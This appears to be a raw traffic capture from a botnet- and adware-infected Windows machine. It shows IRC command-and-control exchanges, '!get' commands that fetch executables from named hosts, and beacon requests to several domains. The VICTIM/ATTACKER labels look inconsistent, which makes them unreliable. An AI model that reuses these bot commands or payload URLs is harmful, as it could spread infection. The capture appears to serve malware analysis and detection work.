VICTIM: GET /PushMission2Client03.asp?MAC=00-0C-29-3C-CA-B6&Publicer=PublicerStr HTTP/1.1Host: pk.xiaopohai.com User-Agent: ClickAdsByIE 0.3.5.VAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/pk.xiaopohai.com /PushMission2Client03.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: GET /count/count.asp?mac=00-0C-29-3C-CA-B6&ver=20090403 HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: suv.ipk8888.cnConnection: Keep-Alive ATTACKER: GET /PushMission2Client03.asp?MAC=00-0C-29-3C-CA-B6&Publicer=PublicerStr HTTP/1.1Host: pk.xiaopohai.com User-Agent: ClickAdsByIE 0.3.5.VAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/pk.xiaopohai.com /PushMission2Client03.aspContent-Type: application/x-www-form-urlencodedConnection: Close ATTACKER: NICK relzamkwUSER n020500 . . :- VICTIM: Service Pack 2JOIN &virtu ATTACKER: :u. PRIVMSG relzamkw :!get http:/goasi.cn/ex/a.php:u. PRIVMSG relzamkw :!get http:/dglcxlcfmk.net/26.exe ATTACKER: GET /ex/a.php HTTP/1.1User-Agent: DownloadHost: goasi.cnCache-Control: no-cache ATTACKER: GET /mega/lgate.php?n=6D05DF620DE704D8 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: lometr.plConnection: Keep-Alive ATTACKER: GET /26.exe HTTP/1.1User-Agent: DownloadHost: dglcxlcfmk.netCache-Control: no-cache ATTACKER: GET /cd/un1.php?id=1C9B6977F75FF6A&ver=d30 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: getips.infoConnection: Keep-Alive ATTACKER: GET /cd/cd.php?id=1C9B6977F75FF6A&ver=d30 HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: getips.infoConnection: Keep-Alive ATTACKER: GET /dll/test.txt HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: goasi.cnConnection: Keep-Alive ATTACKER: GET /dll/abb.txt HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: goasi.cnConnection: Keep-Alive VICTIM: POST /+23299.html HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: MozillaHost: 212.50.95.10 VICTIM: HTTP/1.0 200 OKYES